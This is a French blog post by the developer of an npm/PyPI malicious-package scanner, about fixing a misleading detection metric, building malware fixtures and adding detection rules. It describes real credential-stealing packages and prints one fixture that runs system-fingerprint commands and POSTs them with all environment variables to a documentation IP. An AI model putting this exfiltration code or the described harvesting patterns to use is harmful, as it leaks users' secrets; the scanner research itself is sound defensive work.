← Blog

v2.10.95. TPR@3 : 93,85 %. FPR curated : 15,6 %. Ground truth : 67 attaques npm. Ces chiffres tournent dans la doc depuis fin avril. Aux v2.11.0 → v2.11.47 j'ai ajouté 25 règles, fait baisser le FPR à 1,1 % via les caps F1-F14, ajouté deux scanners Python complets — et le TPR officiel n'a pas bougé. Trop beau pour être vrai.

En remesurant tout proprement aujourd'hui, j'ai compris ce qui ne va pas avec la métrique. Et au passage j'ai fermé deux gaps documentés.

Le constat qui pique : le TPR mesure l'IOC database

Avant la session du jour, le ground truth contenait 67 entrées. 60 d'entre elles attendaient uniquement la règle MUADDIB-PKG-001 dans leur champ expected.rules. C'est la règle « known_malicious_package » — un simple match par nom dans la base IOC. Trivial : si le nom est dans iocs.json, le sample est détecté.

$ node -e "
const a = require('./tests/ground-truth/attacks.json');
const distinct = new Set();
a.attacks.forEach(x => (x.expected.rules || []).forEach(r => distinct.add(r)));
console.log('Total rules:', 259);
console.log('Distinct rules tested by GT:', distinct.size);
console.log('Samples that only expect PKG-001:',
  a.attacks.filter(x => x.expected.rules.every(r => r === 'MUADDIB-PKG-001')).length);
"
Total rules: 259
Distinct rules tested by GT: 8
Samples that only expect PKG-001: 60

8 règles testées sur 259. 90 % des samples GT n'exercent qu'une seule règle, l'IOC match. Les nouvelles familles PYSRC (8 règles), PYAST (8 règles), MAINTAINER (6 règles), PYPI, AST-092, AICONF-004, PKG-022 — aucune n'apparaît dans aucune expectation. Le TPR@3 de 93,85 % stable à travers les versions s'explique trivialement : la base IOC évolue lentement et les nouvelles règles n'y participent pas.

Autrement dit, mes 25 dernières règles ne savaient pas si elles servaient à quelque chose dans la mesure officielle. Et zéro échantillon PyPI dans le GT, alors que les deux scanners Python étaient le gros du travail des dernières semaines.

Track C — synthétique pour les nouvelles règles

Première vague : 16 fixtures synthétiques (GT-068 à GT-083), une par règle ou famille à exercer. Pour chacune, je scanne en isolation, je relève le score observé, je note l'arsenal de règles qui fire, et j'écris l'entrée attacks.json en conséquence.

Deux samples mesurés à 9 et 19 points en isolation — PYAST-002 (entry_points override) et PYSRC-007 / PYAST-008 (dynamic dangerous import). Ce sont des règles HIGH/MEDIUM par design : isolées elles ne franchissent pas le seuil 20. Pour ne pas dégrader artificiellement le TPR@20, j'ajoute deux champs au schéma attacks.json :

"expected": {
  "min_threats": 1,
  "rules": ["MUADDIB-PYAST-002"],
  "score_typical": 9,
  "tpr_tier": "tpr3"
}

tpr_tier: tpr3 dit explicitement : ce sample compte dans TPR@3 (seuil 3, « tout signal »), pas dans TPR@20 (seuil opérationnel). Le code de l'éval ne valide pas encore ces deux champs, ils sont documentaires — mais ils tracent l'intention et permettront une métrique TPR@20-only-tpr20-tier propre quand on l'ajoutera.

13 samples Track C sont annotés PyPI. Premières entrées PyPI dans un GT qui n'en contenait aucune.

Track A — récupérer les vrais tarballs malveillants

Synthétique c'est bien, mais on veut aussi du vrai. Le VPS de monitoring archive les tarballs flaggés depuis 2026 ; rétention 7 jours depuis l'incident disque-full de mai (cf. v2.11.30). Croisé avec data/all-review-results.json (488 packages reviewés humainement entre le 11 et le 24 mai, 18 verdicts MALWARE), j'ai pu récupérer 6 tarballs encore présents sur le VPS :

  • build-scripts-utils@1.0.0 + async-pipeline-builder@1.0.0 + project-init-tools@1.0.0 — campagne TrapDoor mai 2026, triplet identique modulo le nom du paquet, postinstall qui fork un worker détaché avec {detached: true, stdio: 'ignore'}
  • @cseo-hr/trpweb-shared@99.9.1 — dep-confusion classique, stub vide qui dépend d'une tarball URL externe pointant sur ltidisafe-2.6.5.tgz hébergé sur googleapis
  • defi-threat-scanner@2.1.2 — MCP server malveillant avec payload inline dans le postinstall : lit .ssh/.ethereum/.bitcoin/.env/.bash_history/.git-credentials et POST vers un webhook config hébergé sur GitHub Pages
  • did-0091@11.2.8 — pentest agressif (verdict PENTEST_AGGRESSIVE)

Les 15 autres MALWARE reviewés étaient au-delà de la fenêtre de rétention. Tarballs perdus.

Track B — reconstruire ce qui a été supprimé

data/all-review-results.json contient pour chaque package reviewé : reasoning, call_graph, files_read, et surtout proof_of_read (premières et dernières lignes des fichiers clés). C'est suffisant pour reconstruire des fixtures fidèles au pattern, sans avoir le code complet.

Sept reconstructions pour couvrir les patterns uniques du cluster MALWARE :

  • marginfi-client-v2 (canonique pour le cluster de 5 packages marginfi/mrgn-*, payload identique) — env var harvest filtré par KEY|SECRET|TOKEN|WALLET|MNEMONIC|SEED|RPC + POST direct IP
  • byvendors — exfil Telegram bot, ciblage Bybit
  • heloo131313 — trois canaux d'exfil parallèles vers le même C2 (curl /etc/passwd + DNS subdomain encoding + HTTP POST)
  • backoff-table / hedwig-tsconfig (canonique twin) — AWS credential harvester multi-source (env + ~/.aws/credentials + IMDS + ECS task role + K8s SA token)
  • tsliverhome — loader staged déguisé en fetch d'icônes CDN, eval(JSON.parse(body)) sur une réponse vercel
  • @design-system-coopeuch/web — direct IP exfil + fingerprint linux (id/uname/lsb_release), score 47 en review humaine
  • vite-json-config — fork trojanisé de tsconfig-paths, process shadow pour cacher l'URL dead-drop, payload via new Function("require", body)(require)

Toutes les IP C2 ont été remplacées par RFC 5737 (203.0.113.x, plage documentation) pour rendre les fixtures inertes. Description claire dans chaque package.json : « RECONSTRUCTION from data/all-review-results.json, NOT the original tarball ».

La gap qui restait : direct-IP + linux fingerprint

Une fois les reconstructions ajoutées, je scanne recon-design-system-coopeuch. Score : 3. Soit 44 points sous la review humaine. Une seule règle fire : MUADDIB-FLOW-001 (suspicious_dataflow, MEDIUM).

Le sample fait pourtant des choses bien explicites :

const http = require("http");
const { execSync } = require("child_process");

let fp = "";
try { fp += "id=" + execSync("id").toString(); } catch (e) {}
try { fp += " uname=" + execSync("uname -a").toString(); } catch (e) {}
try { fp += " lsb=" + execSync("lsb_release -a").toString(); } catch (e) {}

const req = http.request({ host: "203.0.113.99", port: 8080, method: "POST", path: "/cb" });
req.write(JSON.stringify({ host: os.hostname(), fp, env: process.env }));
req.end();

Trois execSync de commandes de reconnaissance. Une requête HTTP vers une IP littérale publique. Le pattern est sans ambiguïté. Mais le scanner n'a pas de signal individuel pour exec(id) ni pour http.request({host: ''}) — ces patterns tombent dans des règles génériques qui sont vite atténuées par les caps. Track D ferme cette gap.

Track D — trois additions au scanner

1. linux_fingerprint_exec (MUADDIB-AST-093, HIGH) — dans src/scanner/ast-detectors/handle-call-expression.js. Détecte execSync / exec / spawn / spawnSync / execFile / execFileSync dont le premier argument littéral matche ^(id|uname|lsb_release|hostname|whoami)(\s|$). Couvre la forme inline (execSync('uname -a')) et la forme spawn (spawn('id', [])).

2. direct_ip_exfil (MUADDIB-AST-094, HIGH) — dans src/scanner/ast-detectors/handle-literal.js. Détecte les littéraux IPv4 utilisés comme endpoint (forme URL http://1.2.3.4:port/path ou IP nue assignée à une variable utilisée plus tard dans host:). Plages safe skip : 0.0.0.0, 127/8, 169.254/16 (link-local, IMDS cloud — couverts par d'autres règles), 10/8, 172.16/12, 192.168/16, 255.255.255.255. Octets validés ≤ 255. RFC 5737 documentation flaggées (aucun usage runtime légitime).

3. recon_exfil_direct_ip compound (MUADDIB-COMPOUND-016, CRITICAL) — dans src/scoring.js, 17e entrée de SCORING_COMPOUNDS. Fire quand les deux types ci-dessus apparaissent dans le même fichier (sameFile: true). C'est le gate critique : un SDK de telemetry légitime peut appeler hostname pour un heartbeat vers un endpoint nommé, mais rarement les deux dans le même fichier.

Calibration des sévérités : chaque type isolé = HIGH × confidence high = 10 points. Le compound = CRITICAL = 25 points. Sur GT-095, le total file-score atteint 50 (matchant le score 47 du reviewer humain). Sur GT-091 (byvendors) et GT-092 (heloo131313), Track D ajoute du signal et fait monter le score de 90→100 et 89→99 respectivement.

Avant de relancer l'éval : un FP attendu

Smoke test sur 10 packages npm populaires (express, koa, fastify, hapi, request, axios, drizzle-orm, prisma, undici, ws). Le compound ne fire sur aucun. direct_ip_exfil fire sur fastify : http.request({host: '0.0.0.0', ...}). C'est la valeur de bind par défaut « écouter sur toutes les interfaces ». Ajouté à la safe list.

Re-scan : fastify ne fire plus direct_ip_exfil. 0 nouveau FP sur les 10 popular, et — anticipons — 0 nouveau FP sur les 545 curated (mesure complète plus bas).

Le bug PyPI qui invalidait la métrique FPR PyPI

L'éval v2.11.47 affichait 6,10 % FPR PyPI sur 82 packages scannés. Sauf que 50 packages sur 132 avaient « download failed ». 38 % de fail rate. Et la liste des échecs : django, numpy, pandas, scipy, aiohttp, httpx, fastapi, scikit-learn, matplotlib, plotly, bokeh, statsmodels, xgboost, lightgbm… Ce ne sont pas des packages obscurs supprimés. Ce sont les plus téléchargés de PyPI.

Le bug : src/commands/evaluate.js appelait pip download --no-deps --no-binary :all: -d <dir> <pkg>. Le flag --no-binary :all: force pip à préparer un build environment (cython, meson, setuptools-build) pour les packages wheel-only. Pour numpy/scipy/pandas, ça dépasse largement le PACK_TIMEOUT_MS = 30000. Exit code 143 = SIGKILL.

Deuxième bug planqué derrière : le code d'extraction ne savait gérer que .tar.gz, et skippait explicitement les .zip avec un commentaire « not common for sdists ». Or les wheels sont des .whl — qui sont des ZIP renommés. Même en téléchargeant le wheel, le scanner skippait.

Fix en deux lignes :

  • Retirer --no-binary :all: du pip download. Laisser pip choisir la meilleure distribution disponible.
  • Remplacer extractTgz() par extractArchive() de src/shared/download.js — qui gère .tar.gz, .tgz, .whl et .zip, avec les garde-fous habituels (zip-bomb, path-traversal).

Résultat : 124 packages scannés sur 132 au lieu de 82. Les 8 résiduels sont des géants > 500 Mo (torch, tensorflow, scipy, opencv-python, ansible, playwright) qui timent toujours en 30 s — acceptable pour l'instant.

Re-éval complète : v2.11.48

Sur GT enrichi à 96 samples + Track D actif + fix PyPI :

Métriquev2.11.47v2.11.48Δ
TPR@395,06 % (77/81)95,74 % (90/94)+13 in-scope mesurés
TPR@2085,19 % (69/81)88,30 % (83/94)+3,1 pp
FPR curated npm1,10 % (6/545)1,10 % (6/545)stable
FPR random npm2,50 % (5/200)2,50 % (5/200)stable
FPR PyPI6,10 % (5/82, biaisé)9,68 % (12/124)première mesure honnête
ADR96,26 %96,26 %stable

Le +3,1 pp de TPR@20 vient principalement de GT-095 (3 → 50) et marginalement de GT-091/GT-092 (gain au-dessus du cap 100). Les 4 misses restantes : trois sont les attaques browser-only (lottie-player, polyfill-io, trojanized-jquery) qui resteront hors-scope d'un scanner Node.js statique, et une dernière qui mérite investigation.

Le FPR npm est strictement stable. Le compound recon_exfil_direct_ip exige les deux types dans le même fichier, ce qui suffit à filtrer les SDK légitimes. Confirmation empirique : aucune nouvelle alerte sur les 545 curated.

Le FPR PyPI monte à 9,68 %, mais c'est sur 42 packages de plus dans le scope. Les 12 FP sont tous à un score entre 25 et 35 : flask (32), django (35), tornado (35), bottle (30), pandas (25), matplotlib (25), plotly (25), bokeh (25), pymongo (35), coverage (32), fabric (35), websockets (35). C'est exactement la signature du bug « cap PyPI à 35 » documenté dans Known Issues depuis v2.10.95 : le riskScore Python plafonne à 35 même quand le globalRiskScore est à 100. Lever ce cap (Track E) ferait simultanément tomber le FPR PyPI à ≈ 0 % et débloquerait la détection PyPI MALWARE à des seuils plus hauts. C'est la prochaine release.

Ce que j'apprends de cette session

Un TPR stable à travers les versions n'est pas un signe de robustesse. C'était le signal qu'il manquait : si une métrique ne bouge pas alors que le code derrière a changé, c'est probablement que la métrique ne mesure pas ce qu'on croit. Le TPR mesurait l'IOC database ; les 25 nouvelles règles n'avaient simplement aucun GT pour s'exercer.

Le ground truth est lui-même un produit qui doit évoluer. 67 incidents historiques (event-stream, ua-parser-js, coa…) c'est valuable comme test de non-régression. Mais sans extension régulière vers les patterns récents, la couverture règle-par-règle dérive vers zéro. Track A (récupération réelle) + Track B (reconstruction depuis review) sont des process à automatiser : chaque package flaggé en monitor devrait être candidat GT après confirmation humaine.

Une métrique non-mesurable est plus dangereuse qu'une métrique défavorable. Le 6,10 % FPR PyPI précédent était plus rassurant que le 9,68 % actuel — sauf qu'il était calculé sur le tiers de packages qui réussissait un download buggé. Mieux vaut un chiffre élevé sur un échantillon honnête qu'un chiffre flatteur sur un échantillon biaisé.

Les samples « gap » ont une valeur méthodologique. GT-095 a été délibérément ajouté en sachant qu'il scorerait 3 — annoté tpr_tier: tpr3 + known_gap. Une heure plus tard, Track D ferme la gap et le sample passe à 50. C'est l'inverse du workflow habituel (écrire la règle puis trouver un sample qui la test) : le sample documente ce que le scanner ne sait pas faire, et sert d'oracle quand on essaie de fermer la gap.

Prochaines étapes : Track E (lever le cap PyPI 35), couverture règle-par-règle automatique via le monitor, et un re-mesure mensuel automatisée.